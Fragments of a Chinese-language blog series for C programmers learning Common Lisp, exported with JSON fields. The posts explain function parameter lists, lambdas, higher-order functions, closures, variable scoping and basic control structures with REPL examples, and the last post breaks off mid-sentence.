Lisp使用defun宏来定义一个新函数，其语法形式如下：\n(defun function-name (param*)\n\u0026ldquo;Optional documentation string.\u0026rdquo;\nexpr1\nexpr2\nexpr3\n… )\n其实我在之前的几篇文章以及上面的例子中已经多次用到了defun宏，与C语言的函数原型相比，defun定义的函数缺少了一些类型信息，包括返回值类型信息和参数列表中参数的类型信息。\ndefun定义的函数在全局作用域可见，即使这个定义是嵌套在另外一个函数定义中的(标准C是不允许函数嵌套定义的)：\n[1]\u0026gt; (defun foo (x)\n(print x)\n(defun bar (y)\n(print (1+ y))))\nFOO\n[2]\u0026gt; (foo 1)\n1\nBAR\n[3]\u0026gt; (bar 2)\n3\n注意：嵌套在其他函数定义中函数定义，如bar，其生命周期起始于外围函数执行后，例如例子中foo函数未执行前，bar是未定义的。\n对于C程序员来说，也许Common Lisp函数定义与C函数定义最大的不同在函数参数列表上。C语言的函数只支持两种参数列表形式：定长参数列表和变长参数列表，比如：\nint main(int argc, char* argv[]); /* 定长参数列表 */\nint printf( const char* format, …); /* 变长参数列表 */\n而Common Lisp函数对参数列表的支持更加灵活，参数的类型更加丰富，功能也更为强大。下面我们逐一来看。\nCommon Lisp函数参数列表默认都是定长的，参数也是必选的(required)，也就是说参数列表中有几个形式参数，你在调用该函数时就需要传入等量的实际参数，不能多，也不能少，例如：\n[1]\u0026gt; (defun foo (x y) (print (+ x y)))\nFOO\n[2]\u0026gt; (foo 1)\n*** – EVAL/APPLY: too few arguments given to FOO\n[3]\u0026gt; (foo 1 2 3)\n*** – EVAL/APPLY: too many arguments given to FOO\n[4]\u0026gt; (foo 1 2)\n3\n除了参数列表的必选参数外，Common Lisp还支持可选参数(Optional Parameter)。参数列表中的可选参数由\u0026amp;optional指定，例如：\n(defun foo (a b \u0026amp;optional c d)\n(print a)\n(print b)\n(print c)\n(print d))\n其中位于\u0026amp;optional后面的c，d为可选参数；如果未显式指定默认值，则其值为NIL。\n[1]\u0026gt; (foo 1 2)\n1\n2\nNIL\nNIL\n我们可以为可选参数指定默认值，例如：\n(defun foo (a b \u0026amp;optional (c 10) (d 11))\n… …)\n[2]\u0026gt; (foo 1 2)\n1\n2\n10\n11\n可以看出对于指定了默认值的可选参数，如果调用时没有为可选参数传入实际参数，则可选参数将绑定默认值。可选参数的默认值不仅仅可以是常量值，还可以是全局变量或该可选参数左侧的某个必选参数，例如：\n(defvar *x* 13)\n(defun foo (\u0026amp;optional a b c (d *x*))\n… …)\n和\n(defun foo (\u0026amp;optional a b c (d a))\n… …)\n如果有必选参数，那可选参数必须放在必选参数的后面，但我们可以将一个函数的所有参数都定义为可选参数，如：\n(defun foo (\u0026amp;optional a b (c 10) (d 11))\n… …)\n在带有可选参数的函数体内我们如何知道该函数被调用时外面是否给可选参数传入实际参数了呢？Common Lisp提供了一个指示器，你可以将该指示器放在可选参数默认值的后面，就像这样：\n(defun foo (\u0026amp;optional a b (c 10) (d 11 d-supplied-p))\n(print a)\n(print b)\n(print c)\n(print d)\n(print d-supplied-p))\n如果函数在执行时可选参数绑定了实际参数而不是默认值，则该指示器的值将为T，否则为NIL。\n[1]\u0026gt; (foo 1 2 3 4)\n1\n2\n3\n4\nT\n[2]\u0026gt; (foo 1 2)\n1\n2\n10\n11\nNIL\nCommon Lisp语言引入可选参数至少有两个用途，一是为了适应某些场合的需求：一些场合的确不需要显式为所有参数传递实际参数；二是我们通过可选参数可以为某些参数显式地设置默认值。\n在Common Lisp中，与C语言变长参数列表对应的是函数列表中的rest参数。rest参数通过在参数前面的\u0026amp;rest关键字修饰。通过rest参数，我们可以定义出类似format这样接受不定个数参数的函数，例如：\n[1]\u0026gt; (defun foo (x y \u0026amp;optional z \u0026amp;rest others)\n(print x)\n(print y)\n(print z)\n(mapcar #\u0026lsquo;print others))\n[2]\u0026gt; (foo 1 2 3 4 \u0026ldquo;hello lisp\u0026rdquo;)\n1\n2\n3\n4\n\u0026ldquo;hello lisp\u0026rdquo;\n(4 \u0026ldquo;hello lisp\u0026rdquo;)\n在函数定义内部rest参数是以一个list的形式存在的，例如上面例子中，传入函数体内的参数others的值实际上是(4 \u0026ldquo;hello lisp\u0026rdquo;)。\n我们知道C语言虽然支持变长参数列表，但其参数列表中至少需要有一个必选参数，例如：int printf( const char* format, …)中的format参数是无法省略的；但是Common Lisp就不同，Common Lisp支持完全的变长参数列表，例如：(defun my-add (\u0026amp;rest addends) …)\nCommon Lisp还提供一种C语言中没有的参数类型 – keyword参数。keyword参数允许你只为参数列表中的某个特定参数传入实际参数，这种能力是rest和optional参数所不具备的。我们可以通过\u0026amp;key来指示keyword参数，如：\n[1]\u0026gt; (defun foo (\u0026amp;key x y z)\n(print x)\n(print y)\n(print z))\n作为keyword参数，如果在函数调用时没有为其显式赋值，那么该参数的值将为NIL。我们可以通过如下方式为特定的keyword参数赋值：\n[2]\u0026gt; (foo :y 2)\nNIL\n2\nNIL\nKeyword参数赋值是不用考虑赋值先后的顺序的，例如：\n[3]\u0026gt; (foo :z 11 13)\n13\nNIL\n11\n对于带有keyword参数的函数，调用该函数时要么不为任何keyword参数传参，要么至少为其中某一个keyword参数传参，不能只为必选参数传参，如：\n[1]\u0026gt; (defun foo (\u0026amp;key x y z)\n(print x)\n(print y)\n(print z))\n[2]\u0026gt; (foo 1)\n*** – FOO: keyword arguments in (1) should occur pairwise\n与Optional参数类似，keyword参数也可以指定默认值，也可以通过指示器来标定keyword参数到底是否绑定了外面传入的实际参数，其中默认值既可以是常量也可以是其左侧其他keyword参数组成的表达式，例如：\n[1]\u0026gt; (defun foo (\u0026amp;key (x 17) (y 15 y-supplied-p) z)\n(print x)\n(print y)\n(print y-supplied-p)\n(print z))\n[2]\u0026gt; (foo :z 23)\n17\n15\nNIL\n23\n在之前有关keyword参数的例子中我们使用的形式参数多以x，y这样的简单名字命名，这些名字虽便于函数定义内部使用，但是对于这个函数的调用者来说，这些名字却没有什么实际含义。keyword参数支持通过别名方式解决这个问题：\n[1]\u0026gt; (defun foo (\u0026amp;key ((:name a)) ((:age b)) ((:gender c) \u0026ldquo;Unknown\u0026rdquo;))\n(print a)\n(print b)\n(print c))\n[2]\u0026gt; (foo :name \u0026ldquo;tony\u0026rdquo; :age 29)\n\u0026ldquo;tony\u0026rdquo;\n29\n\u0026ldquo;Unknown\u0026rdquo;\nCommon Lisp中函数的返回值默认为函数体中最后执行的那个表达式的求值结果，上面举的例子也都是这种情况。在C语言中我们通过return语句可以从函数体内的任何位置主动退出该函数，在Common Lisp中我们同样可以用return-from达到这一目的，例如：\n[1]\u0026gt; (defun foo (x y)\n(if (\u0026lt; x 0)\n(return-from foo \u0026ldquo;IIlegal X Value\u0026rdquo;))\n(if (\u0026lt; y 0)\n(return-from foo))\n(+ x y))\nFOO\n[2]\u0026gt; (foo 1 2)\n3\n[3]\u0026gt; (foo -1 2)\n\u0026ldquo;IIlegal X Value\u0026rdquo;\n[4]\u0026gt; (foo 1 -2)\nNIL\n对于函数而言，return-from的语法形式为：(return-from func-name optional-value)，若不指定返回值，那么默认return-from的返回值为NIL。\n二、匿名函数\n与C语言不同，Common Lisp支持定义匿名函数，例如：\n[1]\u0026gt; (funcall #\u0026rsquo;(lambda (x) (print (1+ x))) 2)\n3\n上面例子中这行语句既包含了函数定义，也包含了函数调用。与之前使用defun定义有名函数不同的是，这次我们定义出来的函数没有指定函数名，这种使用lambda关键字定义的函数被称作为匿名函数。\n从例子中也可以看出，匿名函数的定义也很简单，其一般形式为：\n(lambda (args*) body-form*)\n我们也称这种表达式为lambda表达式。lambda表达式定义的匿名函数与有名函数一样，也支持使用optional，rest和keyword参数。\n三、高阶函数\n函数式编程语言与命令式语言除了在风格方面的不同之外，最大的不同点之一在于函数式语言中函数已经成为了一等公民(first-class citizen)，与整型、字符串等原生类型具有同等的地位。更具体地说，函数成为一等公民意味着我们可以像对待整型数、字符串那样将函数当作数据对待：将函数赋值给变量、将函数作为参数传递给其他函数以及将函数作为返回值返回给函数调用者等等。作为C程序员你也许会说这似乎与C语言中的函数指针很类似啊，但别忘了C语言真正原生支持的是类型是指针，而不是函数。\n有了一等公民地位的函数，我们就得到了高阶函数。高阶函数就是那些接受其他函数为函数或将其他函数作为返回值的函数。例如Common Lisp提供的标准函数sort就接受一个比较函数作为参数：\n[1]\u0026gt; (defun integer-over-than (x y) (\u0026gt; x y))\nINTEGER-OVER-THAN\n[2]\u0026gt; (sort \u0026lsquo;(5 2 98) (function integer-over-than))\n(98 5 2)\n[3]\u0026gt; (sort \u0026lsquo;(\u0026ldquo;hello\u0026rdquo; \u0026ldquo;world\u0026rdquo;) (function string\u0026gt;=))\n(\u0026ldquo;world\u0026rdquo; \u0026ldquo;hello\u0026rdquo;)\n标准库中的sort函数接受一个自定义的比较函数作为参数，并在内部将传入的函数应用于参数list。例子中我们没有直接将integer-over-than传给sort，而是使用了(function integer-over-than)。function是Common Lisp提供的一个特殊操作符，将其应用于函数名可以得到该函数名对应的函数对象。比如通过(function foo)，我们可以得到名字为foo的内部函数对象。如果没有foo这个函数定义，解释器会提示\u0026quot;undefined function FOO\u0026quot;。可以看出真正被当作一等公民对待的不是foo这个符号，而是foo这个符号名字背后所对应的那个函数对象，也就是函数在Common Lisp中的内部表示形式。我们在将函数绑定到某个变量或将函数传递给某个函数作为实际参数时，我们都需要使用这个内部函数对象，而不是foo这个符号，例如：\n[1]\u0026gt; (sort \u0026lsquo;(5 2 98) integer-over-than)\n*** – EVAL: variable MY-OVER-THAN has no value\n[2]\u0026gt; (setf *sort-func* integer-over-than)\n*** – EVAL: variable MY-OVER-THAN has no value\n[3]\u0026gt; (setf *func* (function my-over-than))\n# FUNCTION MY-OVER-THAN (X Y) (DECLARE (SYSTEM::IN-DEFUN MY-OVER-THAN)) (BLOCK MY-OVER-THAN (\u0026gt; X Y))\u0026gt;\nCommon Lisp提供了一个语法糖用于简化function的使用，即我们可以用#\u0026lsquo;代替function操作符，比如：#\u0026lsquo;foo就等价于(function foo)。\n那么在接受函数作为参数的函数定义内部我们如何使用函数对象呢？Common Lisp提供了两个函数funcall和apply用来执行函数对象对应的函数。我们先以funcall为例，funcall的语法形式如下：\n(funcall function-obj args*)\n例如：\n[1]\u0026gt; (defun foo (x y) (print (+ x y)))\nFOO\n[2]\u0026gt; (defun my-add (x y f) (funcall f x y))\nMY-ADD\n[3]\u0026gt; (my-add 1 2 #\u0026lsquo;foo)\n3\napply与funcall的不同之处在于其接受的参数格式有不同，apply的语法形式如下：\n(apply function-obj args* other-args-list)\n直观地比较：(apply #\u0026rsquo;+ \u0026lsquo;(1 2 3))就等价于(funcall #\u0026rsquo;+ 1 2 3)，不同的是使用apply需要将各个参数打包到一个list中，或至少保证最后一个参数为list。下面几种调用方式与(apply #\u0026rsquo;+ \u0026lsquo;(1 2 3))都是等价的：\n(apply #\u0026rsquo;+ 1 \u0026lsquo;(2 3))\n(apply #\u0026rsquo;+ 1 2 \u0026lsquo;(3))\nlambda表达式用于定义一个匿名函数，我们同样可以通过#\u0026lsquo;来获得这个匿名函数对应的函数对象，例如：\n#\u0026rsquo;(lambda (x y) (print (+ x y)))\n匿名函数对象可以直接作为实际参数传递给函数，我们也可以通过funcall来直接执行匿名函数，例如：\n[1]\u0026gt; (my-add 1 2 #\u0026rsquo;(lambda (x y) (print (+ x y))))\n3\n[2]\u0026gt; (funcall #\u0026rsquo;(lambda (x y) (print (+ x y))) 1 2)\n3\n以上是推荐的标准用法，下面方法（去掉了lambda前面的#\u0026rsquo;）虽然也可以达到相同效果，但不推荐使用：\n[1]\u0026gt; (my-add 1 2 (lambda (x y) (print (+ x y))))\n3\n[2]\u0026gt; (funcall (lambda (x y) (print (+ x y))) 1 2)\n3\n[3]\u0026gt; ((lambda (x y) (print (+ x y))) 1 2)\n3\n在C语言中我们通过函数指针和回调手法也可以模拟一些高阶函数的行为，这里就不赘述了。\n四、闭包(Closure)\n市面上有很多编程语言都支持闭包，比如JavaScript，Python，Perl，Ruby等。这里所说的闭包不是离散数学里的那个闭包，而是编程语言引入的一种机制，目前对于编程语言中的闭包尚未有一个精确的定义，但一般认为闭包是引用了外部作用域(但不是全局作用域)的变量的函数，这个被引用的变量与这个函数一同存在，即使是脱离了定义它们的上下文环境。\nCommon Lisp支持闭包，关于Common Lisp闭包的一个最典型例子是这样的：\n[1]\u0026gt; (setf *fn* (let ((i 0))\n#\u0026rsquo;(lambda () (setf i (+ i 1)))))\n#FUNCTION :LAMBDA NIL (SETF I (+ I 1))\u0026gt;\n[2]\u0026gt; (funcall *fn*)\n1\n[3]\u0026gt; (funcall *fn*)\n2\n[4]\u0026gt; (funcall *fn*)\n3\n按照之前我们对变量的理解，let引入的i只是一个局部变量，在离开定义的环境后，该变量生命周期将终结。理论上我们三次调用*fn*所对应的你们函数得到的结果应该是相同的才对。但就是由于在let构造的局部作用域内的那个匿名函数引用了外部的变量i，导致变量i可以脱离其原生作用域的束缚，让其生命周期等同于了其内部的那个匿名函数，这个内部的匿名函数就被称为闭包，而那个被引用的外部变量被成为自由变量(free variable)。当我们连续调用函数*fn*时，i就像一个全局变量一样，每次值都加一。\n引用了自由变量的闭包似乎是终结了自由变量的局部绑定关系，将自由变量从局部作用域环境中取出，并重新放入一个与闭包同生命周期的新作用域。自由变量会常驻内存中，这也是闭包的常用场景之一。闭包的另外一个用途可能就是出于保护自由变量的考虑，让自由变量只有通过闭包函数才能访问到。\n","permalink":"https://tonybai.com/2011/09/23/c-programers-tame-common-lisp-series-functions/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2011/06/21/hello-common-lisp/\"\u003eCommon Lisp\u003c/a\u003e是\u003ca href=\"http://en.wikipedia.org/wiki/Functional_programming\"\u003e函数式编程\u003c/a\u003e语言，其基本组成单元自然是函数。对Common Lisp函数的理解也是学习Common Lisp语言的关键。另外与C语言以内存单元修改为主要编程方法不同，Common Lisp的主要编程方法是将函数应用于参数。这里我们分别用两种范式风格实现同一个函数，该函数用于取得第n个fibonacci数（n从0开始）：\u003c/p\u003e","title":"C程序员驯服Common Lisp – 函数"},{"content":"变量是C语言中最常用的、不可或缺的语言元素。C语言是命令式编程语言（imperative programming language），其基本编程方法是基于对内存单元的修改，而变量又恰是对内存单元的抽象表示，比如：\u0026ldquo;int a = 0xff\u0026quot;这行语句告诉我们在内存中有一块大小为4个字节的区域，该区域可以通过a这个变量直接访问，该区域初始时存储的值为0xff。由此看来C语言的主要操作就是变量操作。\nC语言中变量的使用有着严格要求：\n第一，在使用一个变量之前必须先声明(或定义)这个变量；\n第二，变量声明(或定义)时必须显式指出这个变量的数据类型；\n最后，变量类型一旦确定，则在其生命周期内不能改变。\n这些也是C语言作为静态编译型语言的特质所决定的。下面代码中关于变量使用的语句在C语言中都是不被允许的：\nvoid foo(void) {\nprintf(\u0026quot;%d\\n\u0026rdquo;, x); /* x变量未被声明或定义 */\n}\nvoid bar(void) {\nx;\nprintf(\u0026quot;%d\\n\u0026quot;, x); /* 未显式指定x的数据类型，变量声明语句不合法 */\n}\n与C语言不同，Common Lisp是一门通用的函数式编程语言，其基本编程方法是基于对函数的求值，并要求尽量避免引入可改变的(mutable)变量和状态。另外再加上Common Lisp还是一门动态类型语言，这些都决定了其在变量的使用方面与C语言有着较大的差异。\n一、赋值\n在C语言中，我们用等号(=)来为变量进行赋值，如：\nint a = 13;\nchar *str = \u0026ldquo;hello c\u0026rdquo;;\nstruct foo f = {1, 5, \u0026ldquo;foo\u0026rdquo;};\n但Common Lisp程序是基于S-expressions的，等号(=)只是一个相等性比较的逻辑判断谓词(predicate)，无法为变量进行赋值。在Common Lisp中，宏setf才是最通用也是最常使用的赋值方法。setf的语法形式如下：\n(setf var-expression value-expression)\n例如：\n[1]\u0026gt; (setf x 5)\n5\n[2]\u0026gt; (print x)\n5\n[3]\u0026gt; (setf x \u0026ldquo;hello lisp\u0026rdquo;)\n\u0026ldquo;hello lisp\u0026rdquo;\n[4]\u0026gt; (print x)\n\u0026ldquo;hello lisp\u0026rdquo;\n从这个例子中我们可以看出三点与C语言的不同之处：\n1、Common Lisp变量在使用前是无需显式声明的(当然显式声明也是可以的哦，详见后面说明);\n2、变量无类型信息；\n3、变量在运行时可以被赋值为多种类型的值，比如此例中x先被赋值为一个整数，后又被赋值为一个字符串。\nC语言的变量是内存单元的直接抽象，但Common Lisp中的变量想必不是这样的，它似乎更像是一个void*指针，被赋值为各种类型的对象地址。没错，其实Common Lisp变量的实质是一个引用(reference)，对这类变量赋值的实质就是将引用与存储了真实值的内存块地址绑定起来，setf这个宏达到的实际效果就是改变了引用与值的绑定关系而已。通过这里我们似乎还可以引伸出一点，那就是Common Lisp中的变量本身并不包含类型信息，相反，值才是类型信息的载体，变量的类型取决于变量所绑定的值的类型。\n二、局部变量(Local Variable)\n作用域是变量的最重要属性之一。根据变量的作用域不同，在C语言中我们可以将变量简单地划分为全局变量(Global Variable)和局部变量。顾名思义，全局变量就是在程序的所有作用域内均可以访问的变量；局部变量恰与之相反，只是在某一特定作用域才可以访问的变量，比如某一函数或代码块内部。Common Lisp也支持这两种类型的变量，我们先从局部变量说起。\n与C类似，Common Lisp的局部变量也是在函数内部或代码块内部定义和使用的。Common Lisp通过let宏定义一个局部变量，let宏的语法形式如下：\n(let (var*)\nexpr1\nexpr2\n… )\n其中每个var的语法形式为：(name initial-value)，如果未指定initial-value，则变量初值将被设置为nil。最后一个expr的求值结果将作为let的返回值。例如：\n[1]\u0026gt; (defun bar ()\n(let ((x 0)) (setf x 4)))\nBAR\n[2]\u0026gt; (bar)\n4\n[3]\u0026gt; (print x)\n*** – EVAL: variable X has no value\nlet引入的局部变量x的作用域仅限于bar的内部，在bar外部无法访问到这些变量，变量x的生命周期也是从bar的执行开始，直到bar执行结束为止。\nlet一次可声明多个局部变量，并可嵌套使用：\n[1]\u0026gt; (defun foo ()\n(let ((x 1) (y 2))\n(print x)\n(print y)\n(setf x 3)\n(let ((z 4))\n(print x)\n(print z))))\nFOO\n[2]\u0026gt; (foo)\n1\n2\n3\n4\n局部变量的默认作用域属于静态作用域(lexical scope或static scope)，静态作用域是指变量的作用域在执行前即可确定下来，每个函数或代码块中的局部变量均可以在当前函数(或代码块)中或其外层函数(或外层代码块)中找到对应的声明或定义。如上例中，函数foo内有两层let嵌套。外层let引入的变量x和y在当前函数内即可找到对应的定义；最里层的let代码块中使用的变量x在外层的foo函数定义中可以找到相应的定义。一旦找到绑定关系，变量的值就不会因执行环境不同而发生变化了。\n和C语言类似，如果局部作用域中的不同层次定义了相同名字的局部变量，那么内层的局部变量将遮盖外层的变量，如：\n[1]\u0026gt; (defun bar ()\n(let ((x 1))\n(print x)\n(let ((x 11))\n(print x)\n(setf x (1+ x))\n(print x))\n(print x)))\nBAR\n[2]\u0026gt;\n1\n11\n12 1\n求值内层x的值时，Common Lisp找到的是最内层的x定义，最内层的变量x当前绑定值为11，我们看到的输出结果也的确是11。在外层，变量x对应的定义为(x \u0026lt;– 1)，这样外层输出的x的值就为1。\n前面例子中定义的函数都是不带参数的，这是故意为之，因为下面我要说函数的形式参数。在C语言中，函数的形式参数与函数内的局部变量是等价的，其作用域也仅局限在函数内部。Common Lisp也是这样的，函数的形式参数本身就可以理解为函数内部的局部变量，在函数被求值时，Common Lisp在函数的形式参数与实际参数间建立绑定关系：\n[1]\u0026gt; (defun foo (x)\n(print x)\n(setf x 13)\n(print x))\nFOO\n[2]\u0026gt; (foo 4)\n4\n13\n从例子中我们可以看出foo函数在求值时，形式参数x与实际参数4建立绑定，第一个(print x)输出结果为4；在foo内部，我们利用setf改变了x的绑定关系后，x值变为13；函数foo内部使用的变量x对应的定义就是foo的形式参数。无论日后foo在什么上下文环境下执行，该x对应的定义都是固定的了，如：\n[3]\u0026gt; (let ((x 5)) (foo 4))\n4\n13\n与C语言不同的是，Common Lisp还支持动态作用域(dynamic scope)，这种作用域在如今主流编程语言中已经不常见了。与静态作用域相反，具有动态作用域的变量在执行之前无法确定其定义，也就是说变量的定义不取决于其所在函数或代码块定义时的环境，而是取决于其所在函数或代码块执行时所处的上下文环境，因此其定义或者说绑定关系只能在运行时确定。\n对于局部变量，Common Lisp通过(declare (special var-name))来显式声明var-name这个变量为动态作用域变量，又称动态变量(dynamic variable)。动态变量理解起来很不容易，但若明白其实现原理，理解起来就相对轻松许多了。每个动态变量都会对应一个全局绑定关系栈(stack)，在某作用域中遇到一个局部变量定义或新绑定，解释器就会将该新绑定关系压入堆栈；当离开该作用域后，绑定关系被弹出栈。这样当试图确定某个变量的绑定关系时，我们可以直接从栈顶获得绑定关系。如果对应该变量的栈为空时，即判定该变量未绑定任何值，解释器会报错。我们再来通过一个例子来加深一下了解吧：\n[1]\u0026gt; (defun foo ()\n(declare (special x))\n(print x))\nFOO\n[2]\u0026gt; (let ((x 6)) (foo))\n*** – EVAL: variable X has no value\n我们定义了一个函数foo，在foo中我们声明了x为动态变量。当我们执行(let ((x 6)) (foo))时，解释器提示X没有绑定任何值。这是怎么回事儿呢？我们还是用原理来一步一步分析。\n按照执行顺序，解释器先遇到局部变量x的定义，将x与数值6建立绑定，同时确定x为局部变量，但并非动态变量。执行foo时，foo中的变量x为动态变量，解释器为其建立全局绑定关系栈，但是在foo中并没有变量x的定义，所以x对应的全局绑定关系栈为空，导致执行(print x)时出错。\n我们修改一下代码：\n[1]\u0026gt; (defun foo ()\n(declare (special x))\n(print x))\nFOO\n[2]\u0026gt; (let ((x 6)) (declare (special x)) (foo))\n6\n按照执行顺序，解释器先遇到局部变量x的定义，将x与数值6建立绑定，同时发现x被显式声明为动态变量，解释器为x建立全局绑定关系栈，并将其绑定关系(x \u0026lt;- 6)压入栈；接下来执行foo函数，foo中的变量x为动态变量，且当前已经建立全局绑定关系栈，继续执行(print x)，从栈顶得到绑定关系(x \u0026lt;- 6)，得到求值结果，最后解释器离开该作用域，将绑定关系弹出栈。\n三、全局变量\n与局部变量对应的是全局变量。全局变量拥有全局作用域，即在一个程序内部的任何地方都可以访问到全局变量。Common Lisp通过defvar或defparameter宏显式定义一个全局变量（虽然这不是必须的）：\n[1]\u0026gt; (defvar *x* 13)\n*X*\n[2]\u0026gt; (print *x*)\n13\n[3]\u0026gt; (defparameter *y* 14)\n*Y*\n[4]\u0026gt; (print *y*)\n14\ndefvar与defparameter的语法形式如下：\n(defvar var-symbol optional-initial-value\noptional-documentation-string)\n(defparameter var-symbol initial-value\noptional-documentation-string)\ndefvar与defparameter的不同之处在于声明中可以不为全局变量绑定初值，而defparameter则是严格要求必须为声明中的全局变量绑定初值，比如:\n[1]\u0026gt; (defvar *x*)\n*X*\n[2]\u0026gt; (defparameter *y*)\n*** – The macro DEFPARAMETER may not be called with 1 arguments: (DEFPARAMETER *Y*)\n局部变量可以显式地被指定为动态变量，全局变量是否可以呢？我们看看下面的例子：\n[1]\u0026gt; (defvar *x* 11)\n*X*\n[2]\u0026gt; (defun foo ()\n(print *x*))\nFOO\n[3]\u0026gt; (foo)\n11\n[4]\u0026gt; (let ((*x* 13)) (foo))\n13\n[3]\u0026gt; (foo)\n11\n从例子中我们看出，全局变量本身似乎就是一个动态变量。我们猜的没错。对于使用defvar或defparameter显式定义的全局变量，Common Lisp同时为其赋予了动态属性，也就是说defvar或defparameter定义的全局变量本身就是一个动态变量。其在动态作用域中的工作原理与上面在局部变量中提到的动态变量的原理是相同的。就拿上面的例子来说：\n我们使用defvar定义*x*时，解释器就为*x*建立了全局绑定关系栈，并将绑定关系(*x* \u0026lt;- 11)压入栈； 执行(foo)时，解释器从栈顶得到*x*的当前值为11； 执行(let ((*x* 13)) (foo))时，解释器又将动态变量*x*的新绑定关系(*x* \u0026lt;- 13)压入栈，这样在执行后面的(foo)时，栈顶的绑定关系就为(*x* \u0026lt;- 13)，即执行结果为13；当解释器执行体离开该作用域时，绑定关系(*x* \u0026lt;- 13)从栈中弹出； 最后再执行(foo)，栈顶的绑定关系已经变成了(*x* \u0026lt;- 11)，所以(foo)的执行结果又变成了11。 使用setf也可以隐式地引入一个全局变量，但与使用defvar或defparameter显式定义的全局变量不同，setf引入的全局变量并非动态变量：\n[1]\u0026gt; (setf *x* 11)\n11\n[2]\u0026gt; (defun foo ()\n(print *x*))\nFOO\n[3]\u0026gt; (foo)\n11\n[4]\u0026gt; (let ((*x* 13)) (foo))\n11\n在使用源文件编写代码的情况下，我们推荐使用defvar或defparameter定义全局变量。\n另外不得不提的是动态变量是把双刃剑，动态变量在函数(子程序)层次之间建立一个隐含的关系，减少了参数传递。但同时也降低了程序的可读性，可靠性以及运行性能。\n四、常量\nC程序员更喜欢使用宏来表示常量，但Common Lisp提供了专门的defconstant宏来定义一个常量，其语法形式如下：\n(defconstant var-symbol value\noptional-documentation-string)\n关于常量的内容很简单，但这里还是要注意以下两点：\n1、和全局变量类似，Common Lisp常量也有自己的命名惯例，一般以\u0026quot;+constant-name+\u0026ldquo;为命名格式，名字两旁各加一个加号(+)，不过这个惯例的受重视程度和遵守程度显然不如全局变量那个;\n2、常量的名字不能用于作函数的形式参数，比如：\n[1]\u0026gt; (defconstant +y+ 2)\n+Y+\n[2]\u0026gt; (defun foo (+y+) (print +y+))\n*** – FUNCTION: +Y+ is a constant, may not be used as a variable\n","permalink":"https://tonybai.com/2011/09/20/c-programers-tame-common-lisp-series-variables/","summary":"\u003cp\u003e变量是\u003ca href=\"http://tonybai.com/tag/C\"\u003eC语言\u003c/a\u003e中最常用的、不可或缺的语言元素。C语言是命令式编程语言（\u003ca href=\"http://en.wikipedia.org/wiki/Imperative_programming\"\u003eimperative programming language\u003c/a\u003e），其基本编程方法是基于对内存单元的修改，而变量又恰是对内存单元的抽象表示，比如：\u0026ldquo;int a = 0xff\u0026quot;这行语句告诉我们在内存中有一块大小为4个字节的区域，该区域可以通过a这个变量直接访问，该区域初始时存储的值为0xff。由此看来C语言的主要操作就是变量操作。\u003c/p\u003e","title":"C程序员驯服Common Lisp – 变量"},{"content":"光有表达式，我们依旧无法写出实用的程序，我们还缺少控制结构(Control Structures)。\nC语言主要有三种控制结构：顺序结构、条件分支结构和循环结构。Common Lisp\n也实现了类似的控制结构，我们逐一来看。\n一、顺序结构\n顾名思义，顺序结构中的语句或表达式是按其位置的先后顺序依次执行的，这也是最简单也最容易理解的一种结构。在C语言中，绝大多数代码块(code block)中的代码都是顺序结构的。Common Lisp程序由S-expressions组成，其本质上的执行过程为自左向右的求值过程。不过Common Lisp的代码编排风格会让给大家一种错觉：Common Lisp似乎也是顺序执行的，例如：\n;;以下是来自于《Practical Common Lisp》书中的一段代码\n(defun prompt-for-cd ()\n(make-cd\n(prompt-read \u0026ldquo;Title\u0026rdquo;) (prompt-read \u0026ldquo;Artist\u0026rdquo;)\n(or (parse-integer (prompt-read \u0026ldquo;Rating\u0026rdquo;) :junk-allowed t) 0)\n(y-or-n-p \u0026ldquo;Ripped [y/n]: \u0026ldquo;)))\nCommon Lisp确实提供了一个Special operator – progn(注意progn不是函数)，可用于在一个代码块中真正顺序地执行一组表达式。其语法形式如下：\n(progn\n(form-1)\n(form-2)\n.\n.\n.\n(form-N))\nCommon Lisp会顺序地执行form-1，form-2，…. form-N，并将最后一个表达式form-N的求值结果作为progn的返回值，例如：\n[1]\u0026gt; (progn\n(print \u0026ldquo;hello world\u0026rdquo;)\n(print \u0026ldquo;hello lisp\u0026rdquo;)\n(print \u0026ldquo;hello graham\u0026rdquo;))\n\u0026ldquo;hello world\u0026rdquo;\n\u0026ldquo;hello lisp\u0026rdquo;\n\u0026ldquo;hello graham\u0026rdquo;\n\u0026ldquo;hello graham\u0026rdquo;\n最后的\u0026quot;hello gramham\u0026quot;即为progn的返回值，并被顶层环境再次输出。progn的行为让我想起了C语言中的逗号表达式\u0026quot;expr1, expr2, … , exprn\u0026rdquo;，与progn一样，逗号表达式也是依次执行expr1，expr2，…，并返回最后一个expression的值。\n二、条件分支结构\nC语言中最常见的条件分支结构莫过于if语句了。if语句是一个典型的开关结构或叫二选一结构，即if后面的条件成立，执行一个分支；否则执行另外一个分支。其典型结构如下：\nif (cond expr) {\n… …\n} else if (cond expr) {\n… …\n} else if (cond expr) {\n… …\n} else {\n… …\n}\nCommon Lisp中也有if。与progn一样，Common Lisp中的if也是一个special operator而不是函数。函数的原则是必须对所有参数都进行求值，且对每个参数仅进行一次求值；而if和progn则不一定需要对所有\u0026quot;参数\u0026quot;进行求值。Common Lisp中if的语法形式如下：\n(if cond-form\nthen-form\n[else-form])\nCommon Lisp中的if首先对cond-form进行求值，如果为真，则对then-form求值，并将结果返回；否则返回else-form的求值结果。如果没有else-form分支，则返回nil。这与C语言中的条件表达式：\u0026ldquo;condition_expression ? then_expression : else_expression\u0026quot;甚为相似。下面是一个例子：\n[1]\u0026gt; (if (\u0026gt; 3 2) (+ 4 5) (- 11 3))\n9\n[2]\u0026gt; (if (\u0026lt; 3 2) (+ 4 5) (- 11 3))\n8\n[3]\u0026gt; (if (\u0026lt; 3 2) (+ 4 5))\nNIL\n[4]\u0026gt; (if (= 2 2) ;; if级联示例\n(if (\u0026gt; 3 2) 4 6)\n9)\n4\n除了if，Common Lisp还提供了其他一些简便实用的条件分支控制operator。\n我们常常会在某个条件分支中顺序地执行多个表达式，这种情况下，我们用if实现的代码如下：\n(if (cond-form)\n(progn\n(form1)\n(form2)\n(form3)))\nCommon Lisp提供了操作符when来应对如此需求，并简化你的代码：\n(when (cond-form)\n(form1)\n(form2)\n(form3))\n当cond-form求值为真时，when会顺序从form1执行到form3。\nCommon Lisp还提供了unless，用于否定语义的判断：\n(unless (cond-form)\n(form1)\n(form2)\n(form3))\n仅当cond-form求值为nil时，form1到form3才会被顺序执行，否则返回nil。\n我们日常还会遇到条件分支特别多的情况，如：\nif (cond-1)\nstatments-1\nif (cond-2)\nstatments-2\n… …\nif 